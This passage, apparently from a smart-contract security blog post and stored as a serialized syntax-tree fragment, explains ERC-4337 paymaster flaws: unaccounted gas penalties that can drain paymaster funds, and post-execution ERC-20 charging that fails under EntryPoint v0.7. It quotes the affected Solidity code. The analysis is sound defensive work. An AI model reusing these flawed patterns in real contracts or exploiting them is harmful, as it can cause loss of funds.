",{"type":24,"tag":90,"props":105475,"children":105476},{"style":146},[105477],{"type":29,"value":34454},{"type":24,"tag":90,"props":105479,"children":105480},{"style":114},[105481],{"type":29,"value":117},{"type":24,"tag":90,"props":105483,"children":105484},{"style":97},[105485],{"type":29,"value":4216},{"type":24,"tag":90,"props":105487,"children":105488},{"style":114},[105489],{"type":29,"value":105490},"), tokenAmount);\n",{"type":24,"tag":90,"props":105492,"children":105493},{"class":92,"line":11589},[105494,105499,105503,105508,105512,105517],{"type":24,"tag":90,"props":105495,"children":105496},{"style":114},[105497],{"type":29,"value":105498}," context ",{"type":24,"tag":90,"props":105500,"children":105501},{"style":120},[105502],{"type":29,"value":5491},{"type":24,"tag":90,"props":105504,"children":105505},{"style":97},[105506],{"type":29,"value":105507}," abi",{"type":24,"tag":90,"props":105509,"children":105510},{"style":114},[105511],{"type":29,"value":226},{"type":24,"tag":90,"props":105513,"children":105514},{"style":108},[105515],{"type":29,"value":105516},"encode",{"type":24,"tag":90,"props":105518,"children":105519},{"style":114},[105520],{"type":29,"value":105521},"(tokenAmount, userOp.sender);\n",{"type":24,"tag":90,"props":105523,"children":105524},{"class":92,"line":25306},[105525,105530],{"type":24,"tag":90,"props":105526,"children":105527},{"style":114},[105528],{"type":29,"value":105529}," validationResult ",{"type":24,"tag":90,"props":105531,"children":105532},{"style":120},[105533],{"type":29,"value":1183},{"type":24,"tag":90,"props":105535,"children":105536},{"class":92,"line":25341},[105537,105542,105546,105550,105554,105559,105564,105568,105573,105577],{"type":24,"tag":90,"props":105538,"children":105539},{"style":108},[105540],{"type":29,"value":105541}," _packValidationData",{"type":24,"tag":90,"props":105543,"children":105544},{"style":114},[105545],{"type":29,"value":117},{"type":24,"tag":90,"props":105547,"children":105548},{"style":97},[105549],{"type":29,"value":10552},{"type":24,"tag":90,"props":105551,"children":105552},{"style":114},[105553],{"type":29,"value":133},{"type":24,"tag":90,"props":105555,"children":105556},{"style":146},[105557],{"type":29,"value":105558},"uint48",{"type":24,"tag":90,"props":105560,"children":105561},{"style":114},[105562],{"type":29,"value":105563},"(cachedPriceTimestamp ",{"type":24,"tag":90,"props":105565,"children":105566},{"style":120},[105567],{"type":29,"value":6767},{"type":24,"tag":90,"props":105569,"children":105570},{"style":114},[105571],{"type":29,"value":105572}," tokenPaymasterConfig.priceMaxAge), ",{"type":24,"tag":90,"props":105574,"children":105575},{"style":349},[105576],{"type":29,"value":6408},{"type":24,"tag":90,"props":105578,"children":105579},{"style":114},[105580],{"type":29,"value":571},{"type":24,"tag":90,"props":105582,"children":105583},{"class":92,"line":25349},[105584],{"type":24,"tag":90,"props":105585,"children":105586},{"style":114},[105587],{"type":29,"value":5740},{"type":24,"tag":90,"props":105589,"children":105590},{"class":92,"line":25357},[105591],{"type":24,"tag":90,"props":105592,"children":105593},{"style":114},[105594],{"type":29,"value":612},{"type":24,"tag":90,"props":105596,"children":105597},{"class":92,"line":25366},[105598],{"type":24,"tag":90,"props":105599,"children":105600},{"style":114},[105601],{"type":29,"value":12686},{"type":24,"tag":90,"props":105603,"children":105604},{"class":92,"line":25408},[105605,105609,105614,105618,105623,105627,105631,105635,105639,105643,105647,105652,105656,105660,105665],{"type":24,"tag":90,"props":105606,"children":105607},{"style":97},[105608],{"type":29,"value":91661},{"type":24,"tag":90,"props":105610,"children":105611},{"style":108},[105612],{"type":29,"value":105613}," _postOp",{"type":24,"tag":90,"props":105615,"children":105616},{"style":114},[105617],{"type":29,"value":117},{"type":24,"tag":90,"props":105619,"children":105620},{"style":97},[105621],{"type":29,"value":105622},"PostOpMode",{"type":24,"tag":90,"props":105624,"children":105625},{"style":114},[105626],{"type":29,"value":133},{"type":24,"tag":90,"props":105628,"children":105629},{"style":146},[105630],{"type":29,"value":85658},{"type":24,"tag":90,"props":105632,"children":105633},{"style":97},[105634],{"type":29,"value":104842},{"type":24,"tag":90,"props":105636,"children":105637},{"style":136},[105638],{"type":29,"value":78170},{"type":24,"tag":90,"props":105640,"children":105641},{"style":114},[105642],{"type":29,"value":133},{"type":24,"tag":90,"props":105644,"children":105645},{"style":146},[105646],{"type":29,"value":47990},{"type":24,"tag":90,"props":105648,"children":105649},{"style":136},[105650],{"type":29,"value":105651}," actualGasCost",{"type":24,"tag":90,"props":105653,"children":105654},{"style":114},[105655],{"type":29,"value":133},{"type":24,"tag":90,"props":105657,"children":105658},{"style":146},[105659],{"type":29,"value":47990},{"type":24,"tag":90,"props":105661,"children":105662},{"style":136},[105663],{"type":29,"value":105664}," actualUserOpFeePerGas",{"type":24,"tag":90,"props":105666,"children":105667},{"style":114},[105668],{"type":29,"value":1686},{"type":24,"tag":90,"props":105670,"children":105671},{"class":92,"line":25441},[105672],{"type":24,"tag":90,"props":105673,"children":105674},{"style":97},[105675],{"type":29,"value":104881},{"type":24,"tag":90,"props":105677,"children":105678},{"class":92,"line":25449},[105679],{"type":24,"tag":90,"props":105680,"children":105681},{"style":97},[105682],{"type":29,"value":104889},{"type":24,"tag":90,"props":105684,"children":105685},{"class":92,"line":25457},[105686],{"type":24,"tag":90,"props":105687,"children":105688},{"style":114},[105689],{"type":29,"value":30998},{"type":24,"tag":90,"props":105691,"children":105692},{"class":92,"line":25466},[105693,105697],{"type":24,"tag":90,"props":105694,"children":105695},{"style":636},[105696],{"type":29,"value":104946},{"type":24,"tag":90,"props":105698,"children":105699},{"style":114},[105700],{"type":29,"value":269},{"type":24,"tag":90,"props":105702,"children":105703},{"class":92,"line":25542},[105704,105708,105712,105716],{"type":24,"tag":90,"props":105705,"children":105706},{"style":146},[105707],{"type":29,"value":104958},{"type":24,"tag":90,"props":105709,"children":105710},{"style":114},[105711],{"type":29,"value":104963},{"type":24,"tag":90,"props":105713,"children":105714},{"style":120},[105715],{"type":29,"value":5491},{"type":24,"tag":90,"props":105717,"children":105718},{"style":114},[105719],{"type":29,"value":104972},{"type":24,"tag":90,"props":105721,"children":105722},{"class":92,"line":25575},[105723,105727,105731,105735],{"type":24,"tag":90,"props":105724,"children":105725},{"style":146},[105726],{"type":29,"value":104958},{"type":24,"tag":90,"props":105728,"children":105729},{"style":114},[105730],{"type":29,"value":104984},{"type":24,"tag":90,"props":105732,"children":105733},{"style":120},[105734],{"type":29,"value":5491},{"type":24,"tag":90,"props":105736,"children":105737},{"style":114},[105738],{"type":29,"value":104993},{"type":24,"tag":90,"props":105740,"children":105741},{"class":92,"line":25583},[105742,105747,105751,105756,105760,105765,105769,105773,105777,105782,105787,105791,105795,105799],{"type":24,"tag":90,"props":105743,"children":105744},{"style":114},[105745],{"type":29,"value":105746}," (",{"type":24,"tag":90,"props":105748,"children":105749},{"style":146},[105750],{"type":29,"value":47990},{"type":24,"tag":90,"props":105752,"children":105753},{"style":114},[105754],{"type":29,"value":105755}," preCharge, ",{"type":24,"tag":90,"props":105757,"children":105758},{"style":146},[105759],{"type":29,"value":34454},{"type":24,"tag":90,"props":105761,"children":105762},{"style":114},[105763],{"type":29,"value":105764}," userOpSender) ",{"type":24,"tag":90,"props":105766,"children":105767},{"style":120},[105768],{"type":29,"value":5491},{"type":24,"tag":90,"props":105770,"children":105771},{"style":97},[105772],{"type":29,"value":105507},{"type":24,"tag":90,"props":105774,"children":105775},{"style":114},[105776],{"type":29,"value":226},{"type":24,"tag":90,"props":105778,"children":105779},{"style":108},[105780],{"type":29,"value":105781},"decode",{"type":24,"tag":90,"props":105783,"children":105784},{"style":114},[105785],{"type":29,"value":105786},"(context, (",{"type":24,"tag":90,"props":105788,"children":105789},{"style":146},[105790],{"type":29,"value":47990},{"type":24,"tag":90,"props":105792,"children":105793},{"style":114},[105794],{"type":29,"value":133},{"type":24,"tag":90,"props":105796,"children":105797},{"style":146},[105798],{"type":29,"value":34454},{"type":24,"tag":90,"props":105800,"children":105801},{"style":114},[105802],{"type":29,"value":9605},{"type":24,"tag":90,"props":105804,"children":105805},{"class":92,"line":25591},[105806,105811,105816,105821],{"type":24,"tag":90,"props":105807,"children":105808},{"style":114},[105809],{"type":29,"value":105810}," preCharge ",{"type":24,"tag":90,"props":105812,"children":105813},{"style":120},[105814],{"type":29,"value":105815},"-=",{"type":24,"tag":90,"props":105817,"children":105818},{"style":114},[105819],{"type":29,"value":105820}," baseFee; ",{"type":24,"tag":90,"props":105822,"children":105823},{"style":252},[105824],{"type":29,"value":105825},"// don't refund the base fee\n",{"type":24,"tag":90,"props":105827,"children":105828},{"class":92,"line":25628},[105829,105833,105838,105842,105847,105851,105855],{"type":24,"tag":90,"props":105830,"children":105831},{"style":146},[105832],{"type":29,"value":104958},{"type":24,"tag":90,"props":105834,"children":105835},{"style":114},[105836],{"type":29,"value":105837}," _cachedPrice ",{"type":24,"tag":90,"props":105839,"children":105840},{"style":120},[105841],{"type":29,"value":5491},{"type":24,"tag":90,"props":105843,"children":105844},{"style":108},[105845],{"type":29,"value":105846}," updateCachedPrice",{"type":24,"tag":90,"props":105848,"children":105849},{"style":114},[105850],{"type":29,"value":117},{"type":24,"tag":90,"props":105852,"children":105853},{"style":97},[105854],{"type":29,"value":10552},{"type":24,"tag":90,"props":105856,"children":105857},{"style":114},[105858],{"type":29,"value":571},{"type":24,"tag":90,"props":105860,"children":105861},{"class":92,"line":25641},[105862,105866,105870],{"type":24,"tag":90,"props":105863,"children":105864},{"style":252},[105865],{"type":29,"value":105210},{"type":24,"tag":90,"props":105867,"children":105868},{"style":97},[105869],{"type":29,"value":68586},{"type":24,"tag":90,"props":105871,"children":105872},{"style":252},[105873],{"type":29,"value":105219},{"type":24,"tag":90,"props":105875,"children":105876},{"class":92,"line":25654},[105877,105881,105885,105889,105893,105897,105901,105905],{"type":24,"tag":90,"props":105878,"children":105879},{"style":146},[105880],{"type":29,"value":104958},{"type":24,"tag":90,"props":105882,"children":105883},{"style":114},[105884],{"type":29,"value":105231},{"type":24,"tag":90,"props":105886,"children":105887},{"style":120},[105888],{"type":29,"value":5491},{"type":24,"tag":90,"props":105890,"children":105891},{"style":114},[105892],{"type":29,"value":105837},{"type":24,"tag":90,"props":105894,"children":105895},{"style":120},[105896],{"type":29,"value":983},{"type":24,"tag":90,"props":105898,"children":105899},{"style":114},[105900],{"type":29,"value":105249},{"type":24,"tag":90,"props":105902,"children":105903},{"style":120},[105904],{"type":29,"value":6966},{"type":24,"tag":90,"props":105906,"children":105907},{"style":114},[105908],{"type":29,"value":105258},{"type":24,"tag":90,"props":105910,"children":105911},{"class":92,"line":25667},[105912],{"type":24,"tag":90,"props":105913,"children":105914},{"style":252},[105915],{"type":29,"value":105916}," // Refund tokens based on actual gas cost\n",{"type":24,"tag":90,"props":105918,"children":105919},{"class":92,"line":25721},[105920,105924,105929,105933,105938,105942,105947,105951],{"type":24,"tag":90,"props":105921,"children":105922},{"style":146},[105923],{"type":29,"value":104958},{"type":24,"tag":90,"props":105925,"children":105926},{"style":114},[105927],{"type":29,"value":105928}," actualChargeNative ",{"type":24,"tag":90,"props":105930,"children":105931},{"style":120},[105932],{"type":29,"value":5491},{"type":24,"tag":90,"props":105934,"children":105935},{"style":114},[105936],{"type":29,"value":105937}," actualGasCost ",{"type":24,"tag":90,"props":105939,"children":105940},{"style":120},[105941],{"type":29,"value":6767},{"type":24,"tag":90,"props":105943,"children":105944},{"style":114},[105945],{"type":29,"value":105946}," tokenPaymasterConfig.refundPostopCost ",{"type":24,"tag":90,"props":105948,"children":105949},{"style":120},[105950],{"type":29,"value":983},{"type":24,"tag":90,"props":105952,"children":105953},{"style":114},[105954],{"type":29,"value":105955}," actualUserOpFeePerGas;\n",{"type":24,"tag":90,"props":105957,"children":105958},{"class":92,"line":25730},[105959,105963,105968,105972,105976],{"type":24,"tag":90,"props":105960,"children":105961},{"style":146},[105962],{"type":29,"value":104958},{"type":24,"tag":90,"props":105964,"children":105965},{"style":114},[105966],{"type":29,"value":105967}," actualTokenNeeded ",{"type":24,"tag":90,"props":105969,"children":105970},{"style":120},[105971],{"type":29,"value":5491},{"type":24,"tag":90,"props":105973,"children":105974},{"style":108},[105975],{"type":29,"value":105433},{"type":24,"tag":90,"props":105977,"children":105978},{"style":114},[105979],{"type":29,"value":105980},"(actualChargeNative, cachedPriceWithMarkup);\n",{"type":24,"tag":90,"props":105982,"children":105983},{"class":92,"line":34094},[105984,105988,105993,105997],{"type":24,"tag":90,"props":105985,"children":105986},{"style":636},[105987],{"type":29,"value":60626},{"type":24,"tag":90,"props":105989,"children":105990},{"style":114},[105991],{"type":29,"value":105992}," (preCharge ",{"type":24,"tag":90,"props":105994,"children":105995},{"style":120},[105996],{"type":29,"value":12830},{"type":24,"tag":90,"props":105998,"children":105999},{"style":114},[106000],{"type":29,"value":106001}," actualTokenNeeded) {\n",{"type":24,"tag":90,"props":106003,"children":106004},{"class":92,"line":34115},[106005],{"type":24,"tag":90,"props":106006,"children":106007},{"style":252},[106008],{"type":29,"value":106009}," // If initially provided token amount is greater than the actual amount needed, refund the difference\n",{"type":24,"tag":90,"props":106011,"children":106012},{"class":92,"line":82781},[106013,106018,106023,106028,106032],{"type":24,"tag":90,"props":106014,"children":106015},{"style":114},[106016],{"type":29,"value":106017}," SafeERC20.",{"type":24,"tag":90,"props":106019,"children":106020},{"style":108},[106021],{"type":29,"value":106022},"safeTransfer",{"type":24,"tag":90,"props":106024,"children":106025},{"style":114},[106026],{"type":29,"value":106027},"(token, userOpSender, preCharge ",{"type":24,"tag":90,"props":106029,"children":106030},{"style":120},[106031],{"type":29,"value":346},{"type":24,"tag":90,"props":106033,"children":106034},{"style":114},[106035],{"type":29,"value":106036}," actualTokenNeeded);\n",{"type":24,"tag":90,"props":106038,"children":106039},{"class":92,"line":82794},[106040,106044,106048,106052,106056,106060],{"type":24,"tag":90,"props":106041,"children":106042},{"style":114},[106043],{"type":29,"value":72422},{"type":24,"tag":90,"props":106045,"children":106046},{"style":636},[106047],{"type":29,"value":2293},{"type":24,"tag":90,"props":106049,"children":106050},{"style":636},[106051],{"type":29,"value":2298},{"type":24,"tag":90,"props":106053,"children":106054},{"style":114},[106055],{"type":29,"value":105992},{"type":24,"tag":90,"props":106057,"children":106058},{"style":120},[106059],{"type":29,"value":1575},{"type":24,"tag":90,"props":106061,"children":106062},{"style":114},[106063],{"type":29,"value":106001},{"type":24,"tag":90,"props":106065,"children":106066},{"class":92,"line":82802},[106067],{"type":24,"tag":90,"props":106068,"children":106069},{"style":252},[106070],{"type":29,"value":106071}," // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n",{"type":24,"tag":90,"props":106073,"children":106074},{"class":92,"line":82810},[106075],{"type":24,"tag":90,"props":106076,"children":106077},{"style":252},[106078],{"type":29,"value":106079}," // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n",{"type":24,"tag":90,"props":106081,"children":106082},{"class":92,"line":82818},[106083,106087,106091,106096,106100,106104,106108,106113,106117],{"type":24,"tag":90,"props":106084,"children":106085},{"style":114},[106086],{"type":29,"value":106017},{"type":24,"tag":90,"props":106088,"children":106089},{"style":108},[106090],{"type":29,"value":105468},{"type":24,"tag":90,"props":106092,"children":106093},{"style":114},[106094],{"type":29,"value":106095},"(token, userOpSender, ",{"type":24,"tag":90,"props":106097,"children":106098},{"style":146},[106099],{"type":29,"value":34454},{"type":24,"tag":90,"props":106101,"children":106102},{"style":114},[106103],{"type":29,"value":117},{"type":24,"tag":90,"props":106105,"children":106106},{"style":97},[106107],{"type":29,"value":4216},{"type":24,"tag":90,"props":106109,"children":106110},{"style":114},[106111],{"type":29,"value":106112},"), actualTokenNeeded ",{"type":24,"tag":90,"props":106114,"children":106115},{"style":120},[106116],{"type":29,"value":346},{"type":24,"tag":90,"props":106118,"children":106119},{"style":114},[106120],{"type":29,"value":106121}," preCharge);\n",{"type":24,"tag":90,"props":106123,"children":106124},{"class":92,"line":82858},[106125],{"type":24,"tag":90,"props":106126,"children":106127},{"style":114},[106128],{"type":29,"value":60710},{"type":24,"tag":90,"props":106130,"children":106131},{"class":92,"line":82866},[106132],{"type":24,"tag":90,"props":106133,"children":106134},{"emptyLinePlaceholder":16},[106135],{"type":29,"value":245},{"type":24,"tag":90,"props":106137,"children":106138},{"class":92,"line":90053},[106139,106143,106148,106152,106156],{"type":24,"tag":90,"props":106140,"children":106141},{"style":636},[106142],{"type":29,"value":60626},{"type":24,"tag":90,"props":106144,"children":106145},{"style":114},[106146],{"type":29,"value":106147}," (baseFee ",{"type":24,"tag":90,"props":106149,"children":106150},{"style":120},[106151],{"type":29,"value":12830},{"type":24,"tag":90,"props":106153,"children":106154},{"style":349},[106155],{"type":29,"value":5448},{"type":24,"tag":90,"props":106157,"children":106158},{"style":114},[106159],{"type":29,"value":1297},{"type":24,"tag":90,"props":106161,"children":106162},{"class":92,"line":90061},[106163,106167,106171],{"type":24,"tag":90,"props":106164,"children":106165},{"style":114},[106166],{"type":29,"value":106017},{"type":24,"tag":90,"props":106168,"children":106169},{"style":108},[106170],{"type":29,"value":106022},{"type":24,"tag":90,"props":106172,"children":106173},{"style":114},[106174],{"type":29,"value":106175},"(token, tokenPaymasterConfig.rewardsPool, baseFee);\n",{"type":24,"tag":90,"props":106177,"children":106178},{"class":92,"line":103407},[106179],{"type":24,"tag":90,"props":106180,"children":106181},{"style":114},[106182],{"type":29,"value":60710},{"type":24,"tag":90,"props":106184,"children":106185},{"class":92,"line":103415},[106186],{"type":24,"tag":90,"props":106187,"children":106188},{"emptyLinePlaceholder":16},[106189],{"type":29,"value":245},{"type":24,"tag":90,"props":106191,"children":106192},{"class":92,"line":103423},[106193,106198,106203],{"type":24,"tag":90,"props":106194,"children":106195},{"style":636},[106196],{"type":29,"value":106197}," emit",{"type":24,"tag":90,"props":106199,"children":106200},{"style":108},[106201],{"type":29,"value":106202}," UserOperationSponsored",{"type":24,"tag":90,"props":106204,"children":106205},{"style":114},[106206],{"type":29,"value":106207},"(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n",{"type":24,"tag":90,"props":106209,"children":106210},{"class":92,"line":103431},[106211,106216],{"type":24,"tag":90,"props":106212,"children":106213},{"style":108},[106214],{"type":29,"value":106215}," refillEntryPointDeposit",{"type":24,"tag":90,"props":106217,"children":106218},{"style":114},[106219],{"type":29,"value":106220},"(_cachedPrice);\n",{"type":24,"tag":90,"props":106222,"children":106223},{"class":92,"line":103459},[106224],{"type":24,"tag":90,"props":106225,"children":106226},{"style":114},[106227],{"type":29,"value":5740},{"type":24,"tag":90,"props":106229,"children":106231},{"class":92,"line":106230},67,[106232],{"type":24,"tag":90,"props":106233,"children":106234},{"style":114},[106235],{"type":29,"value":612},{"type":24,"tag":90,"props":106237,"children":106239},{"class":92,"line":106238},68,[106240],{"type":24,"tag":90,"props":106241,"children":106242},{"style":114},[106243],{"type":29,"value":827},{"type":24,"tag":25,"props":106245,"children":106246},{},[106247,106249,106255,106257,106262,106264,106270],{"type":29,"value":106248},"Looking at the code above, during ",{"type":24,"tag":32,"props":106250,"children":106252},{"className":106251},[],[106253],{"type":29,"value":106254},"validatePaymasterUserOp",{"type":29,"value":106256},", the paymaster attempts to charge a maximum prefund amount first. This prefund is calculated by taking the gas limit specified in the ",{"type":24,"tag":32,"props":106258,"children":106260},{"className":106259},[],[106261],{"type":29,"value":104313},{"type":29,"value":106263}," and applying a markup price to convert the native ETH cost into the equivalent ERC20-token value. Later in ",{"type":24,"tag":32,"props":106265,"children":106267},{"className":106266},[],[106268],{"type":29,"value":106269},"postOp",{"type":29,"value":106271},", the paymaster calculates the actual charge and refunds any excess from the prefund.",{"type":24,"tag":25,"props":106273,"children":106274},{},[106275,106277,106282,106284,106291],{"type":29,"value":106276},"However, there is a critical oversight: ",{"type":24,"tag":7711,"props":106278,"children":106279},{},[106280],{"type":29,"value":106281},"the code does not account for gas penalties",{"type":29,"value":106283},". The actual gas charged to the paymaster includes not just the gas used, but also any ",{"type":24,"tag":69,"props":106285,"children":106288},{"href":106286,"rel":106287},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L726-L730",[73],[106289],{"type":29,"value":106290},"penalties incurred",{"type":29,"value":106292}," from differences between the execution gas limit and actual execution gas.",{"type":24,"tag":25,"props":106294,"children":106295},{},[106296],{"type":29,"value":106297},"This vulnerability can be exploited by malicious users who set an artificially high gas limit to trigger the penalty. When penalties are applied, the paymaster will be charged significantly more than expected, potentially draining its funds since these additional costs were not factored into the calculation.",{"type":24,"tag":25,"props":106299,"children":106300},{},[106301,106303,106308],{"type":29,"value":106302},"In fact, the bundler will be the one who receives the penalty paid by the paymaster. This means a bundler could submit their own ",{"type":24,"tag":32,"props":106304,"children":106306},{"className":106305},[],[106307],{"type":29,"value":104012},{"type":29,"value":106309}," to be executed by themselves and profit if the penalty they can extract from the paymaster exceeds their own gas costs paid to the paymaster. In SEND's case, fortunately, because they operate their own bundler, any penalties incurred flow back to their controlled bundler, creating a closed economic loop that mitigates this particular attack vector.",{"type":24,"tag":850,"props":106311,"children":106313},{"id":106312},"incorrect-erc-20-handling",[106314],{"type":24,"tag":7711,"props":106315,"children":106316},{},[106317],{"type":29,"value":106318},"Incorrect ERC-20 Handling",{"type":24,"tag":25,"props":106320,"children":106321},{},[106322],{"type":29,"value":106323},"To improve user experience, some protocols introduced ERC-20 paymasters that allow users to pay transaction gas fees using ERC-20 tokens instead of native ETH (Just like what SEND did in the above code). The core concept is quite straightforward, the paymaster fronts the ETH gas costs to bundlers, then charges users an equivalent amount in ERC-20 tokens based on current market rates. However, implementing this token-to-ETH conversion and payment flow securely requires careful consideration.",{"type":24,"tag":25,"props":106325,"children":106326},{},[106327,106328,106333,106335,106340],{"type":29,"value":47118},{"type":24,"tag":32,"props":106329,"children":106331},{"className":106330},[],[106332],{"type":29,"value":104093},{"type":29,"value":106334}," flow above, we can see that paymasters have two key interaction points during a ",{"type":24,"tag":32,"props":106336,"children":106338},{"className":106337},[],[106339],{"type":29,"value":104012},{"type":29,"value":106341},"'s lifecycle:",{"type":24,"tag":3100,"props":106343,"children":106344},{},[106345,106355],{"type":24,"tag":3104,"props":106346,"children":106347},{},[106348,106350],{"type":29,"value":106349},"During validation via ",{"type":24,"tag":32,"props":106351,"children":106353},{"className":106352},[],[106354],{"type":29,"value":104200},{"type":24,"tag":3104,"props":106356,"children":106357},{},[106358,106360],{"type":29,"value":106359},"After execution via ",{"type":24,"tag":32,"props":106361,"children":106363},{"className":106362},[],[106364],{"type":29,"value":104211},{"type":24,"tag":25,"props":106366,"children":106367},{},[106368],{"type":29,"value":106369},"This dual-interaction model has led to two predominant patterns for handling ERC-20 payments in paymaster implementations:",{"type":24,"tag":1019,"props":106371,"children":106373},{"id":106372},"_1-pre-payment-with-refund-pattern",[106374],{"type":29,"value":106375},"1. Pre-Payment with Refund Pattern",{"type":24,"tag":25,"props":106377,"children":106378},{},[106379,106381,106386,106388,106393,106395,106401,106402,106408,106410,106415,106417,106422,106424,106429],{"type":29,"value":106380},"In this model, the paymaster requires users to pre-pay the maximum possible gas cost in ERC-20 tokens during ",{"type":24,"tag":32,"props":106382,"children":106384},{"className":106383},[],[106385],{"type":29,"value":104200},{"type":29,"value":106387},". After execution completes, ",{"type":24,"tag":32,"props":106389,"children":106391},{"className":106390},[],[106392],{"type":29,"value":104211},{"type":29,"value":106394}," refunds any excess tokens based on actual gas consumed. This is analogous to how regular ETH gas payments work. Several protocols like ",{"type":24,"tag":32,"props":106396,"children":106398},{"className":106397},[],[106399],{"type":29,"value":106400},"SEND",{"type":29,"value":13360},{"type":24,"tag":32,"props":106403,"children":106405},{"className":106404},[],[106406],{"type":29,"value":106407},"Circle",{"type":29,"value":106409}," have implemented this approach. However, this pattern has one key disadvantage: users must first approve the paymaster to spend their ERC20 tokens before submitting any ",{"type":24,"tag":32,"props":106411,"children":106413},{"className":106412},[],[106414],{"type":29,"value":104041},{"type":29,"value":106416},". This additional setup step is required to ensure the paymaster can successfully deduct tokens ",{"type":24,"tag":7711,"props":106418,"children":106419},{},[106420],{"type":29,"value":106421},"before",{"type":29,"value":106423}," execution (specifically during ",{"type":24,"tag":32,"props":106425,"children":106427},{"className":106426},[],[106428],{"type":29,"value":106254},{"type":29,"value":22538},{"type":24,"tag":1019,"props":106431,"children":106433},{"id":106432},"_2-post-execution-charging-pattern",[106434],{"type":29,"value":106435},"2. Post-Execution Charging Pattern",{"type":24,"tag":25,"props":106437,"children":106438},{},[106439,106441,106446,106448,106453,106455,106460,106462,106467],{"type":29,"value":106440},"This alternative approach defers token collection until after execution. Instead of charging a prefund during ",{"type":24,"tag":32,"props":106442,"children":106444},{"className":106443},[],[106445],{"type":29,"value":104200},{"type":29,"value":106447},", the actual token payment is calculated and collected in ",{"type":24,"tag":32,"props":106449,"children":106451},{"className":106450},[],[106452],{"type":29,"value":104211},{"type":29,"value":106454}," based on the exact gas consumed. At first glance, this appears to be the most user-friendly pattern since users can bundle their token approval transaction within the same ",{"type":24,"tag":32,"props":106456,"children":106458},{"className":106457},[],[106459],{"type":29,"value":104012},{"type":29,"value":106461},", eliminating the need for a separate pre-approval transaction before submitting the ",{"type":24,"tag":32,"props":106463,"children":106465},{"className":106464},[],[106466],{"type":29,"value":104313},{"type":29,"value":106468},". This means users could interact with the paymaster without any prior setup.",{"type":24,"tag":25,"props":106470,"children":106471},{},[106472,106474,106479,106481,106487,106489,106495,106497,106502],{"type":29,"value":106473},"This approach used to work in ",{"type":24,"tag":32,"props":106475,"children":106477},{"className":106476},[],[106478],{"type":29,"value":104093},{"type":29,"value":106480}," version ",{"type":24,"tag":32,"props":106482,"children":106484},{"className":106483},[],[106485],{"type":29,"value":106486},"v0.6",{"type":29,"value":106488},", but the pattern no longer works in ",{"type":24,"tag":32,"props":106490,"children":106492},{"className":106491},[],[106493],{"type":29,"value":106494},"v0.7",{"type":29,"value":106496},". In fact, using this pattern can lead to loss of funds for the paymaster. Let's take a closer look at how ",{"type":24,"tag":32,"props":106498,"children":106500},{"className":106499},[],[106501],{"type":29,"value":106494},{"type":29,"value":106503}," handles the execution phase:",{"type":24,"tag":80,"props":106505,"children":106507},{"className":6861,"code":106506,"language":6860,"meta":7,"style":7}," function _executeUserOp(\n uint256 opIndex,\n PackedUserOperation calldata userOp,\n UserOpInfo memory opInfo\n )\n internal virtual\n returns (uint256 collected) {\n [...]\n bool success;\n {\n [...]\n if (methodSig == IAccountExecute.executeUserOp.selector) {\n bytes memory executeUserOp = abi.encodeCall(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n innerCall = abi.encodeCall(this.innerHandleOp, (executeUserOp, opInfo, context));\n } else\n {\n innerCall = abi.encodeCall(this.innerHandleOp, (callData, opInfo, context));\n }\n assembly (\"memory-safe\") {\n success := call(gas(), address(), 0, add(innerCall, 0x20), mload(innerCall), 0, 32)\n collected := mload(0)\n }\n _restoreFreePtr(saveFreePtr);\n }\n if (!success) {\n [...]\n if (innerRevertCode == INNER_OUT_OF_GAS) {\n // handleOps was called with gas limit too low. abort entire bundle.\n // can only be caused by bundler (leaving not enough gas for inner call)\n revert FailedOp(opIndex, \"AA95 out of gas\");\n } else if (innerRevertCode == INNER_REVERT_LOW_PREFUND) {\n // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n uint256 actualGasCost = opInfo.prefund;\n _emitPrefundTooLow(opInfo);\n _emitUserOperationEvent(opInfo, false, actualGasCost, actualGas);\n collected = actualGasCost;\n } else {\n [...]\n collected = _postExecution(\n IPaymaster.PostOpMode.postOpReverted,\n opInfo,\n context,\n actualGas\n );\n }\n }\n }\n",[106508],{"type":24,"tag":32,"props":106509,"children":106510},{"__ignoreMap":7},[106511,106527,106543,106563,106580,106587,106600,106624,106632,106645,106652,106659,106680,106719,106756,106768,106775,106811,106818,106839,106928,106957,106964,106977,106984,107004,107011,107032,107040,107048,107075,107103,107111,107154,107174,107187,107209,107225,107240,107247,107267,107275,107283,107291,107299,107307,107314,107321],{"type":24,"tag":90,"props":106512,"children":106513},{"class":92,"line":93},[106514,106518,106523],{"type":24,"tag":90,"props":106515,"children":106516},{"style":97},[106517],{"type":29,"value":91661},{"type":24,"tag":90,"props":106519,"children":106520},{"style":108},[106521],{"type":29,"value":106522}," _executeUserOp",{"type":24,"tag":90,"props":106524,"children":106525},{"style":114},[106526],{"type":29,"value":680},{"type":24,"tag":90,"props":106528,"children":106529},{"class":92,"line":200},[106530,106534,106539],{"type":24,"tag":90,"props":106531,"children":106532},{"style":146},[106533],{"type":29,"value":91839},{"type":24,"tag":90,"props":106535,"children":106536},{"style":136},[106537],{"type":29,"value":106538}," opIndex",{"type":24,"tag":90,"props":106540,"children":106541},{"style":114},[106542],{"type":29,"value":748},{"type":24,"tag":90,"props":106544,"children":106545},{"class":92,"line":239},[106546,106551,106555,106559],{"type":24,"tag":90,"props":106547,"children":106548},{"style":97},[106549],{"type":29,"value":106550}," PackedUserOperation",{"type":24,"tag":90,"props":106552,"children":106553},{"style":97},[106554],{"type":29,"value":104842},{"type":24,"tag":90,"props":106556,"children":106557},{"style":136},[106558],{"type":29,"value":104847},{"type":24,"tag":90,"props":106560,"children":106561},{"style":114},[106562],{"type":29,"value":748},{"type":24,"tag":90,"props":106564,"children":106565},{"class":92,"line":248},[106566,106571,106575],{"type":24,"tag":90,"props":106567,"children":106568},{"style":97},[106569],{"type":29,"value":106570}," UserOpInfo",{"type":24,"tag":90,"props":106572,"children":106573},{"style":97},[106574],{"type":29,"value":104910},{"type":24,"tag":90,"props":106576,"children":106577},{"style":136},[106578],{"type":29,"value":106579}," 